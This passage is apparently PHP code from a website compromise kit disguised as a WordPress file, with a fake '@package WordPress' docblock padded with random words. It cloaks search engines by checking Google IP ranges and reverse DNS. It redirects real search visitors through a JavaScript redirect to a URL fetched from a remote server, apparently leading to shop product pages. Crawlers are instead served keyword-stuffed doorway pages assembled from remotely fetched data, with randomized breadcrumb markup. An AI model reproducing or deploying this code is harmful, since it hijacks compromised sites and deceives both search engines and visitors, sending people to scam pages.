	$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') ); 
	$localIp = get_real_ip();	
	$is_or_no = is_ip($localIp,$ipRanges);
	$iszz = isCrawler();	
	
	if(function_exists('gethostbyaddr')){
		$hostname = @gethostbyaddr($localIp);
		$is_g_ip = preg_match("#google#i", "$hostname") === 1;
	}else{
		$is_g_ip = 0;
	}
	
	if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
		$rsdom = '#^https?://www\.[^/]+/$#i';
		
		$jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";	
		$jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
	
		for($i=0;$i<2;$i++){
			$jumstz = curl_getjs_from_webpage($jums1,2);
			$jumstz = trim($jumstz);

			if(!preg_match($rsdom,$jumstz)){
				$jumstz = curl_getjs_from_webpage($jums2,10);
			
				$jumstz = trim($jumstz);
				if(preg_match($rsdom,$jumstz))
					break;
			}else{
				break;
			}
		}
		
		echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';		die();	
	}
}
 
 
 $fcontent = '';
 
 
 $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
 $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
 $rsInfo = '#<info>(.*)</info>#si';
 preg_match($rsInfo,$pInfoStr,$matchInfo);
 if(isset($matchInfo[1])){
	 $InFoStrArr = unserialize($matchInfo[1]);
 }else{
	 header("HTTP/1.1 404 Not Found");exit;
 }
 

 
 
 if(isset($InFoStrArr['frStr2'])){
	$frStr2 = $InFoStrArr['frStr2'];
	$fr2Arr = unserialize($frStr2);
 }
 
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);

$Ptitle = $InFoStrArr['Ptitle'];

$nowIdName = $InFoStrArr['nowIdName'];

if(strstr($Ptitle,'#cat#')){
	$tp_title_arr = explode('#cat#',$Ptitle);
	$Ptitle = $tp_title_arr[1];
}

$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
$nowMateAddStr = $InFoStrArr['nowMateAddStr'];


if(strstr($pcatstr,'#cname#')){
	$temparrI = explode('#cname#',$pcatstr);
	$catStr = $temparrI[0];
	$catArr = explode('^',$catStr);
	$tparrCat = array();
	$catArrII = array();
	foreach($catArr as $vs){
		$vs = str_replace('&amp;','&',$vs);
		if(!isset($tparrCat[$vs])){
			$tparrCat[$vs] = 1;
			$catArrII[] = $vs;
		}
	}

	$catArr = $catArrII;
	
	$mateStr = $temparrI[1];
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = trim($temparrII[0]);
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = $temparrII[1];
		if(!$pdescription){
			$pdescription = $Ptitle. ' ' .$nowMateAddStr;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pdescription .= ', '. $nowMateAddStr;
			$pDescriptionYuanShi = $pdescription;
		}
		
	}else{
		$pkeyword = $Ptitle;
	
		$pdescription = $Ptitle. ' ' .$nowMateAddStr;
	}
}else{
	$catArr = array();
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = $temparrII[0];
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = $temparrII[1];
		if(!$pdescription){
			$pdescription = $Ptitle. ' ' .$nowMateAddStr;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pdescription .= ', '. $nowMateAddStr;
			$pDescriptionYuanShi = $pdescription;
		}
	}else{
		$pkeyword = $Ptitle;
		$pdescription = $Ptitle. ' ' .$nowMateAddStr;
	}
}



$BreadStr = getBreadcrum($Ptitle,$catArr,$id23);

if(count($catArr)){
	$endCatName = end($catArr);
	$beginCatName = $catArr[0];
	$addKeyWordStr = ', ' . implode(', ', $catArr);
}else{
	$beginCatName = '';
	$endCatName = '';
}

if(function_exists("preg_split")){
	$PtitleArr = preg_split('/\s+/us', $Ptitle);		
}else{
	$PtitleArr = explode(' ', $Ptitle);
}

$tpTitleArr = array();
foreach($PtitleArr as $vs){
	$vs = trim($vs);
	if($vs){
		$tpTitleArr[] = $vs;
	}
}



$numTitleArr = count($tpTitleArr);


$randTkeyI =  RANDNUMI % $numTitleArr;

$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);

$randTkeyII =  RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
	$randTkeyII = abs($randTkeyI-2);
}

$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);


$addTopStr = '';
$addTopStr .= $BreadStr.PHP_EOL;
$addTopStr .= "<h1>{$Ptitle}</h1>";

$addStrII = '';
if(isset($InFoStrArr['pdes'])){
	$InFoStrArr['pdes'] =  preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
	$addStrII .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
}
if(isset($InFoStrArr['nowPimgArrYs'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
	foreach($tpImgArr as $tpimg){
		$addStrII .= $tpimg."<br/>".PHP_EOL;
	}
}

$addTopStr .= $addStrII;






$tpaddstr = "<h2>{$Ptitle}</h2>";
$tpaddstr .= '<p>';
$tpaddstr .= '###nowtitles###,';
$tpaddstr .= $createTitleI .',';
$tpaddstr .= $pdescription.' ';
$tpaddstr .= $createTitleII .'.</p>';

if(isset($InFoStrArr['nowPimgArr'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
	foreach($tpImgArr as $tpimg){
		$tpaddstr .= $tpimg."<br/>".PHP_EOL;
	}
}




$arrFlinks = array();
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
	$tpPid = $key;
	$tpFlink = getalink($tpPid,$vs);
	
	if(strstr($vs,'#cat#')){
		$tp_name_arr = explode('#cat#',$vs);
		$vs = $tp_name_arr[1];
	}
	
	$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	$arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
}
$fr1Strs .= '</ul>'.PHP_EOL;

if(isset($fr2Arr)){
	$fr2Strs = '<ul>'.PHP_EOL;
	foreach($fr2Arr as $key=>$vs){
		$tpPid = $key;
		$tpFlink = getalink($tpPid,$vs);
		
		
		if(strstr($vs,'#cat#')){
			$tp_name_arr = explode('#cat#',$vs);
			$vs = $tp_name_arr[1];
		}
		
		$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	}
	$fr2Strs .= '</ul>'.PHP_EOL;
}


$addPdesStrII = '';
$addPdesStrII .= "<h2>{$Ptitle}</h2>".PHP_EOL;



$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
	
	$randAddName =  (KEYJG + $id23)  % 3 + 3;

	
	$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $randAddName;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}

	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			$tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			
			
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
	while($nowTempFlag <= $lenthFlinkArr-1){
		$nowTempFlag++;
		$tempDesNameArr[] = "<b>{$Ptitle}</b>";
	}
	
	
	$tpDesNameArr = $tempDesNameArr;
	$tempArrLen = count($tpDesNameArr) - 1;
	
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
		
		
		
		if($i == $tempArrLen){
			$addStrDes1 .= $tpdesVs . '.';
			// echo $addStrDes1;
			// exit;
		}else{
			$addStrDes1 .= $tpdesVs . $nowtempfh;
		}
		$i++;
		
	}
		
	$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;

	
}

$addPdesStrII .= $addStrDes1.PHP_EOL;






$addPdesStr = '';

$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
	
	$randAddName =  (KEYJG + $id23)  % 2 == 0 ? 3 : 2 ;

	
	$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
	$tempArrLen = count($tpDesNameArr) - 1;
	$temp_arr = array();
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		if(strstr($tpdesVs,'#cat#')){
			$tp_name_arr = explode('#cat#',$tpdesVs);
			$tpdesVs = $tp_name_arr[1];
		}
		
		$temp_arr[$tpdesKey] = $tpdesVs;
		
	}
	$tpDesNameArr = $temp_arr;
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $randAddName;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}
	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
		while($nowTempFlag <= $lenthFlinkArr-1){
			$nowTempFlag++;
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
		}
	

	$tpDesNameArr = $tempDesNameArr;
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
	
		
		if($i == $tempArrLen){
			$addStrDesII .= $tpdesVs . '.';
		}else{
			$addStrDesII .= $tpdesVs . $nowtempfh;
		}
		$i++;
			
	}
		
	$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;

}




$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;




$addH3Str = "<h3>{$Ptitle}</h3>";
 
 $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
 $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
 
 $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';

$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;

		$fileMb = fopen("template.html","r");
			$html = fread($fileMb,filesize("template.html"));	

			$numBz = 0;

			$titleKeys = KEYJG % 6;
			
			
			$catUseKey = (KEYJG + $id23) % count($catArr); 
			
			if($catUseKey == 0)
				$catUseKey = $catUseKey + 1;
			
		
			$addTopStr =  str_replace('###nowtitles###',$Ptitle ,$addTopStr);
			$tpaddstr =  str_replace('###nowtitles###',$Ptitle,$tpaddstr);
			
			$html = str_ireplace('#htitleh#',  $Ptitle, $html);	
			$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);	
			$html = str_ireplace('#bbbdesbbb#', $pdescription ." {$thisdom}", $html);	
			
			$html = str_ireplace('#bbb1content1bbb#',  $addTopStr, $html);
			// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
			
			
			if(strstr($html,'#link3#'))
			if($flagH2I){
					$html = str_replace('#link3#',$addPdesStrII,$html);
					$flagH2I = 0;
				}else{
					$html = str_replace('#link3#','',$html);
				}
				
				
							
			if(strstr($html,'#flink#'))
				if($flagH2I){
					$html = str_replace('#flink#',$addPdesStrII,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#flink#',$addPdesStr,$html);
					$flagH2II = 0;
				}else{
					$html = str_replace('#flink#','',$html);
				}
				
				
				
			if(strstr($html,'#link4#'))
				if($flagH2I){
					$html = str_replace('#link4#',$addPdesStrII,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link4#',$addPdesStr,$html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link4#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link4#','',$html);
				}
				
				
			if(strstr($html,'#link5#'))
				if($flagH2I){
					$html = str_replace('#link5#',$addPdesStrII,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link5#',$addPdesStr,$html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link5#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link5#','',$html);
				}
	
				
				
				if(strstr($html,'#Flink2#'))
				if($flagH2I){
					$html = str_replace('#Flink2#',$addPdesStrII,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#Flink2#',$addPdesStr,$html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#Flink2#',$addH3Str."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#Flink2#','',$html);
				}
						
				
			$lastAddStrs = '';
			
			if($flagH2I){
				$lastAddStrs .= $addPdesStr . PHP_EOL;
			}
			
			if($flagH2II){
				$lastAddStrs .= $addPdesStrII . PHP_EOL;
			}
			
			if($lastAddStrs){
				$tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
			}
				
			$html = str_ireplace('#bbb2content2bbb#', '', $html);
			$html = str_ireplace('#descontent#', $tpaddstr, $html);
				
			$html = str_replace('#link1#','',$html);
			$html = str_replace('#link2#','',$html);
				
	
	
			$footKey = "<h3>{$Ptitle}</h3><br/>{$pdescription}".PHP_EOL;
				$html = str_replace('</body',$footKey.'</body',$html);

		
	echo $html;
 
die();


	
/**
 * response barrier candidate ceremony comparative decent deposit deputy devise export favorite geometry interpret invade noticeable passion previous ridiculous shrug spit split textile vague volcano.
 * Internet campus candidate faculty giant jeans leak loosen mist motivate prominent reject shiver slide theme weed whereas.
 * flock internal moist remarkable resemble.
 * acid arise bundle germ hook orbit slide vital yawn.
 * equation evolution insignificant moisture render retail ruin shallow thrust videotape.
 * applicant bachelor comparative drift loosen neutral orchestra radical resemble retain skim swallow tender treaty via vitally volcano.
 * insure profitable ultimate whatsoever wonder.
 * lest private relevant shallow.
 * adequate automatic biology bother breed device encounter guarantee hint inferior junior oblige opportunity oral organ professional quit secure stuff treaty trend urgent witness.
 * applause approximate conservation earthquake garbage inevitable negative network peak vibrate.
 * Internet adult aware brake casual conservation consistent globe inferior legislation liter loose mature molecule nevertheless origin retail sensitive signature tense triumph victim.
 * applianc arbitrary decorate display dispose hint jungle media motive naked recruit restraint tendency title triangle venture wax whatsoever.
 * clue distribute faulty flee germ hint jail jealous liquor modify molecule petroleum private religious sketch software spill stable violent welfare yawn.
 * cliff dusk elastic equation estimate forbid harmony incident leap primitive sexual utter vertical.
 * abundant adult devise dispose explosive gratitude liberal onion powder prompt restrict ridiculous tedious transform twist venture virtual.
 * accelerate architecture calendar commit distinguish elbow expenditure external herd identify issue licence maximum necessity oxygen parallel removal resume semiconductor shrug subsequent thrust usage utilify.
 * absolute appoint approximate capture decade deserve devise domestic elaborate export facility grateful herd leather licence opportunity outset restraint retail sensible sincere slip trial video vote.
 * adjust adopt applause applicable diverse entry enviroment expansion flash frustrate infer inferior jeans range sensitive slip undertake violent.
 * abuse arichmetic community excess flash gesture jungle likelihood mist motive network reliable torture.
 * awful bacteria diverse entertainment.
 * appropriate architecture awkward debt ferfile flee frown inhabitant issue leather liberty magnet security substance trap vacuum variation volunteer zone.
 * conservative equation flexible gallon geography germ nevertheless passive presumably temporary timber.
 * battery calculate discrimination equivalent infer optional render.
 * drift fatal geology jewel spray temptation tender ultimate.
 * cliff compete defect estimate forbid gaze harmony highlight liberal licence marine naval obstacle orbit powder restrict smash splendid tedious temporary thrust vertical vital weed whatsoever.
 * acid balcony comparable decline elbow expense explosive gap geography household interpretation label luxury modify motivate oxygen principal relief scan scratch software submerge valid variable.
 * cargo distinguish inhabitant mist simplify wax.
 * arbitrary comparative conquer decay discrimination dive enthusiasm germ grateful import licence maximum modest passion restrict ridge sensible shrink spot tremble trend tropical yawn.
 * elbow identify infinite moist recreation religion spray trial.
 * coil exceedingly prospect reputation spur tissue transplant.
 * advertise identify illusion impose severe stable stuff.
 * audio award candidate collision equivalent exclusive gap genius interpret kneel organ region scan substance tense ultimate.
 *
 * @package WordPress
 */


function getRandStrArr($tpArr=array(),$bgKey=0){
	
	$returnStr = '';
	$numArr = count($tpArr);
	for($i=$bgKey+1;$i<$numArr;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	for($i=0;$i<=$bgKey;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	return trim($returnStr);

}


function getBreadcrum($Ptitle,$catArr,$id23){

	global $arrBread,$thisdom;
	
	$catArr = array();
	$breadTagkey = KEYJG % 6;
	if($breadTagkey == 0){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ul';
	}elseif($breadTagkey == 1){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 2){
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 3){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 4){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ul';
	}else{
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ul';
	}


	$arrBreadNum = count($arrBread);
	$domlen = strlen($thisdom);


	$breadTagkey = $domlen % 5;
	
	$liClassYs = KEYJG % 19;
	
	if($liClassYs == 0){
		$liStr = ' class="item"';
	}elseif($liClassYs == 1){
		$liStr = ' class="breadcrumbs-item"';
	}elseif($liClassYs == 2){
		$liStr = ' class="nz-breadcrumb-item"';
	}elseif($liClassYs == 3){
		$liStr = ' class="items"';
	}elseif($liClassYs == 4){
		$liStr = ' class="breadcrumblist-items"';
	}elseif($liClassYs == 5){
		$liStr = ' class="el-breadcrumb-item"';
	}elseif($liClassYs == 6){
		$liStr = ' class="doc-crumb-item"';
	}elseif($liClassYs == 7){
		$liStr = ' class="breadcrumb-item"';
	}elseif($liClassYs == 8){
		$liStr = ' class="crumbs-item"';
	}elseif($liClassYs == 9){
		$liStr = ' class="bread-item"';
	}elseif($liClassYs == 10){
		$liStr = ' class="breads-item"';
	}elseif($liClassYs == 11){
		$liStr = ' class="breadcrumbItem"';
	}elseif($liClassYs == 12){
		$liStr = ' class="breadcrumbItems"';
	}elseif($liClassYs == 13){
		$liStr = ' class="breadcrumblistitems"';
	}elseif($liClassYs == 14){
		$liStr = ' class="BreadcrumbItem"';
	}elseif($liClassYs == 15){
		$liStr = ' class="ListItem"';
	}elseif($liClassYs == 16){
		$liStr = ' class="crumb-items"';
	}else{
		$liStr = '';
	}
	

	$arrBreadId = array();
	$arrBreadId[] = 'Bread';
	$arrBreadId[] = 'BreadHead';
	$arrBreadId[] = 'Breadcrumb';
	$arrBreadId[] = 'Breadcrumb-Head';
	$arrBreadId[] = 'Breadcrumb-Heads';
	$arrBreadId[] = 'Breadcrumb-Top';
	$arrBreadId[] = 'BreadcrumbHeads';
	$arrBreadId[] = 'BreadcrumbLists';
	$arrBreadId[] = 'BreadcrumbNavigation';
	$arrBreadId[] = 'BreadcrumbTop';
	$arrBreadId[] = 'BreadcrumbTops';
	$arrBreadId[] = 'MyBreadcrumb';
	$arrBreadId[] = 'ant-breadcrumb';
	$arrBreadId[] = 'bread-List';
	$arrBreadId[] = 'breadtop';
	$arrBreadId[] = 'breadtops';
	$arrBreadId[] = 'breadHead';
	$arrBreadId[] = 'breadHeads';
	$arrBreadId[] = 'breadList';
	$arrBreadId[] = 'breadLists';
	$arrBreadId[] = 'breadcrumb';
	$arrBreadId[] = 'c-breadcrumb';
	$arrBreadId[] = 'crumbList';
	$arrBreadId[] = 'crumb-list';
	$arrBreadId[] = 'crumbs';
	$arrBreadId[] = 'crumbsHead';
	$arrBreadId[] = 'crumbsHeads';
	$arrBreadId[] = 'crumbs-head';
	$arrBreadId[] = 'crumbs-nag';
	$arrBreadId[] = 'crumbsTop';
	$arrBreadId[] = 'crumbsTops';
	$arrBreadId[] = 'crumbs-top';
	$arrBreadId[] = 'cs-breadcrumb';
	$arrBreadId[] = 'customBreadcrumb';
	$arrBreadId[] = 'doc-crumb';
	$arrBreadId[] = 'el-breadcrumb';
	$arrBreadId[] = 'l-breadcrumb';
	$arrBreadId[] = 'navBreadCrumb';
	$arrBreadId[] = 'navBreadCrumbs';
	$arrBreadId[] = 'page-breadcrumbs';
	$arrBreadId[] = 'pages-breadcrumbs';
	$arrBreadId[] = 's-breadcrumb';
	$arrBreadId[] = 'v-breadcrumb';
	$arrBreadId[] = 'chrome-breadcrumbs';
	
	
	$keyBreadId = KEYJG % 48;
	
	if(isset($arrBreadId[$keyBreadId])){
		$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
	}else{
		$keyBreadIdStr = '';
	}
	


	$strBreads = '';
	if($breadTagkey == 4){
		$arrBreadC1 = array();
		$arrBreadC1[] = 'BreadcrumbData';
		$arrBreadC1[] = 'BreadcrumbDatas';
		$arrBreadC1[] = 'BreadcrumbTop';
		$arrBreadC1[] = 'crumbsHead';
		$arrBreadC1[] = 'crumbsTop';
		$arrBreadC1[] = 'crumbsList';
		$arrBreadC1[] = 'crumbs-top';
		$arrBreadC1[] = 'crumbs-list';
		$arrBreadC1[] = 'crumbs-Head';
		$arrBreadC1[] = 'BreadcrumbTag';
		$arrBreadC1[] = 'Breadcrumb-tag';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'Breadcrumb-Top';
		$arrBreadC1[] = 'Breadcrumb-body';
		$arrBreadC1[] = 'BreadcrumbTops';
		$arrBreadC1[] = 'Breadcrumb-Head';
		$arrBreadC1[] = 'Breadcrumb-Heads';
		$arrBreadC1[] = 'Breadcrumb-List';
		$arrBreadC1[] = 'BreadcrumbList';
		$arrBreadC1[] = 'BreadcrumbLists';
		
		$ckeyI = KEYJG % count($arrBreadC1);
		
		$classI =  $arrBreadC1[$ckeyI];
		$classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
		
		$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
		$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
		$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
		if(count($catArr)){
			foreach($catArr as $vs){
				$vs = trim($vs);
				$nowCatUrl = getCatLink($vs,$id23);
				$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
			}
		}
		
		$strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
		$strBreads .= '</'.$breadTagHtml2.'>';
		$strBreads .= '</'.$breadTagHtml1.'>';
	}else{
		$calssBreadKey = KEYJG % $arrBreadNum;
		$classTop = $arrBread[$calssBreadKey];
		$classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
		$breadTagkey = $domlen % 2;

		if($breadTagkey == 0){
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
			$flagNum = 2;
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
					$flagNum++;
				}
			}
				
				
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}else{
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
				}
			}
				
				
			$strBreads .= '<li'.$liStr.'><strong>'.$Ptitle.'</strong></li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}
	}
	
	
	return $strBreads;

}




function getCatLink($CatName,$id23){
		
		global $arrnametime,$arrKeywz,$strRand;		
	
		$filePres = '';		$fileEnds = '';		$siteLink='http://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
